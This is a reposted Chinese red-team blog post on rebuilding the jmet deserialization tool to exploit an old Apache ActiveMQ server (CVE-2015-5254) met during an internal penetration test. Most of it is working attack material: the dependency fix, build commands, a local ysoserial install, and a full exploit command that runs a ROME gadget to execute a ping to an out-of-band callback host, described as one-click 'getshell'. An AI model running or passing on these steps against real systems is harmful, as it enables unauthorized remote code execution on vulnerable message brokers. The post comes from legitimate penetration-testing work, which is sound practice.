转载

重新编译jmet小记

在一次渗透测试过程中,发现内网有一些activemq版本很老(2010年前的),但是并没有/fileserver这个路径意味着没法用 CVE-2016-3088(猜测经过加固), 不过幸运的是/admin没有授权就能访问意味着有主动触发CVE-2015-5254的可能性,猜测这种偏门的java洞可能被加固人员忽略,所以抄起 jmet 试了一下。回显如下

重新编译jmet小记

看样子是失败了,经过一番谷歌过后看到github上有如下回答,猜测是因为activemq所依赖的包版本过老而jmet依赖的包比较新所以打不成功。

重新编译jmet小记 重新编译jmet小记

正如github上这个老外所说需要加入legacy。

<dependency>
        <groupId>org.apache.activemq</groupId>
        <artifactId>activemq-openwire-legacy</artifactId>
        <version>5.15.11</version>
</dependency>

既然问题问题出在依赖上就意味着要重新编译,踩了一些坑下面记录一下。

jmet可以攻击多种软件,有一些是商业的软件我们搞不到对应的jar,所以删除下面两个java。

rm -f src/main/java/de/codewhite/jmet/target/impl/WebSphereMQTarget.java
rm -f src/main/java/de/codewhite/jmet/target/impl/SwiftMQTarget.java

另外注意到jmet是依赖于ysoserial

重新编译jmet小记

并且我们后续也会用到,奈何没找到什么中央仓库提供这种黑客依赖。无奈需要自己到导入

mvn install:install-file -DgroupId=ysoserial -DartifactId=ysoserial -Dversion=0.0.5-SNAPSHOT -Dpackaging=jar -Dfile=

编译

export MAVEN_OPTS=-Xss10m
mvn clean compile assembly:single

然后就可以快乐的一键getshell了。

proxychains java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "ping -n 1 wyyekrec31qzxtpc4kq636jbi2otci.burpcollaborator.net" -Yp ROME  ip port
原文  http://redteam.today/2020/03/21/重新编译jmet小记/
正文到此结束
Loading...